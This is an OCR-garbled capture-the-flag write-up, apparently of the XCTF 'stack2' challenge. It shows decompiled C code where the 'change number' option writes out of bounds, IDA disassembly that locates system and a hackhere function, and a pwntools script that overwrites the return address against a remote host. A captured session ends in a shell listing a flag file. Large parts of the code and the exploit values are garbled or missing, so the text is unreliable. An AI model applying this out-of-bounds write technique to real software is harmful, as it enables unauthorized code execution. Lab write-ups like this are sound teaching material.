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:~/DP/pwn/XCTF# ./

An easy calc

and I will return to you an average

you have:

Give me your numbers
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show numbers
add number
change number
get average
exit
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dd number
change number
get average

=
L)

3.
4.
51
5

:~/DP/DWH/XCTF# I ittp log.csdn.net/macro_wing
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15 = _ readgsdword(@x14u):

16| setvbuf(stdin, @, 2, @);

17| setvbuf(stdout, @, 2, @);

:; puts(?;**********************************************************");
20| puts("* An easy calc Y3
21| puts("*Give me your numbers and I will return to you an average *");
22| puts("*(0 <= x < 256) Y3
23 pu-ts("*‘-**‘-*C-#‘!*‘-**‘-**‘-#‘C-‘k*‘-**‘-*-‘k#‘C**‘-**‘--i‘-‘!-‘}-‘!#‘C**‘-**t#‘C-‘k*‘.**‘.*-‘k#‘C-‘k***###****##*****##**“);
241 puts(“How many numbers you have:");

25| is0c99 scanf("%d", &v5);

26| puts(“"Give me your numbers™);

27| for (1 = 8; < &% (signed int)i <= 99; ++i )

28| {

29 __1s50c99_scanf("%d", &v7);

30 [1]1 = v7;

31| }

32| for ( = v5; ; printf("average is %.21f\n", (double)((long double) / (double)i)) )
33| {

34 while ( 1 )

35 {

36 while ( 1)

37 {

38 while ( 1 )

39 {

49 puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit"};
41 _is0c99 _scanf("%d", &v6);

42 if ( 1=2)

43 break;

44 puts("Give me your number"});

45 _ is50¢99 scanf("%d", &v7);

46 if ( j <= @x63 )

47 {

43 l = J++;

49 (V31 = v7;

CA }
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puts(“1. show numbers\n2. add number\n3. change number\nd. get average\n5. exit");
150099 _scanf("%d", &vo);
if ( I=2)
break;
puts(“Give me your number");
__1s50c99_scanf("%d", &v7);
if (7 <= 9x63 )




break;

if (ve I=1)
return @;

puts("id\t\tnumber");

for ( k =8; k < J; ++k )
printf("%d\t\t%d

¥

if (w6 I=3
break;

puts("which number to change:");

_150c99 scanf("%d", &v5);

puts(“new number:");

150099 _scanf("%d", &v7);

v13[v5] = v7;

¥
if (ve I=4)
break;
vo = @;
for ( 1 =09; 1 < 7; ++1 )
vo += v13[1];
¥
return @;

}
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REERR B .plt:0804845@ ; Attributes: thunk
? _init_proc .inif] -plt:ese4sase )
TFl sub_g048410 plt .plt:880484508 ; int system(const char *command)
7] 7pr_i.ntf _plt .plt: 8450 _system proc near ; CODE XREF: hackhere+194p
?___stack_chk_fail .plt 85048450
(] s o /’.plt:@SlMSAS@ command = dword ptr 4
7| system .plt .plt:P8848450
_L ___libc_start_main .plt _plt:980848450 jmp ds:off_804A018
\f| _setvbuf _plt _plt:98848458 _system endp
_L ___l1soc%9_scanf .plt _plt:980848450
|f| __emon_start .plt. LPLEIBBBABASE ;- - - - oo oo s oo
|f| _start . text .plt:08048456 push 18h
(L] __xBO_get_pc_thurk_bx - text - |.plt:@804845B jmp sub_8848410
|f | deregister_tn_clones - text L | plt:08048460 ; [PGAGAOA6 BYTES: COLLAPSED FUNCTION _ libc_start_main. PRESS CTRL-NL
Lregisteritmiclones . text plE:@8@ABABE ; -
_L __do_global_dters_aux . text _plt:02043466 push 20h
Fd i”ﬁ—d“’“my - text - | plt:0804346B Jmp sub_8648410
£ hackhere - text | © | plt:08048470 ; [@0EGEOE6 BYTES: COLLAPSED FUNCTION _setvbuf. PRESS CTRL-NUMPAD+ TO E
f|main .tex ) !
7| __libe_csu_init . text -PI£:@8OABATE ; oo oo oo oo oooo o oooooooooooooooooooooooooooooooooooooooooos
¥ " libe esu find _plt:08048476 push 28h
. - 1bec_csu_finl . text B .
7] _tern_proc fini [ |-plt:eseasars jup_  sub_8eassie S
system7E plt # (1) ik A 0x8048450
.rodata:0804897F db e
.rodata:08048980 ; char command[ ]
.rodata:08048980 command db '/bin/pbash’,® ; DATA XREF
.rodata: 0804898 align 4
.rodata:8804898C ar s[]
_rodata:p2p4898C s db  * sk koo skok ok Rk R R R R ORI R R RS
.rodata:@804898C ; DATA XREF
.rodata:8804898C ; main+91to
.rodata:@80489C8 ; char aAnkasyCalc[]
.rodata:080489C8 aAnEasyCalc db '* An easy
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from pwn impc
context.log level="debug’
offest

sym_addr =

bin bash

sh_addr =

def write addr(addr,val):
p.sendline(’'3")
p.recvuntil('which number to change:\n'
p.sendline(str(addr))
p.recvuntil('new number:\n')
p.sendline(str(val))
p.recvuntil('5. exit\n")

p = remote(’'111.198.29.45", )
p.recvuntil('How many numbers you have:\n')
p.sendline(’'1")

p.recvuntil('Give me your numbers\n')
p.sendline(’'1")

p.recvuntil('5. exit\n")

write addr(offest, )

write addr(offest+ )
write addr(offest )
write addr(offest+ )

offest +
int offest

write addr(offest,
write addr(offest+
write addr(offest:
writ e_add r (offe st+ https://blog.csdn.net/macro_wing
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>>> p.sendline('5")
| ] Sent 0x2 bytes:
‘5\n'
>>> p.interactive()
[*] Switching to interactive mode
ls
| ] Sent 0x1 bytes:




] Sent 0x1 bytes:
ST " ol

] Sent 0x1 bytes:
salp® exi

] Received 0x24 bytes:
‘bin\n'
‘dev\n’
‘flag\n’
Ttib\a'

rkibaz\n:

'1ib64\n’
\ 'stack2\n'
bin
ndev
flag
lib
1ib32
r1ib64

stack? https://blog.csdn.net/macro_wing
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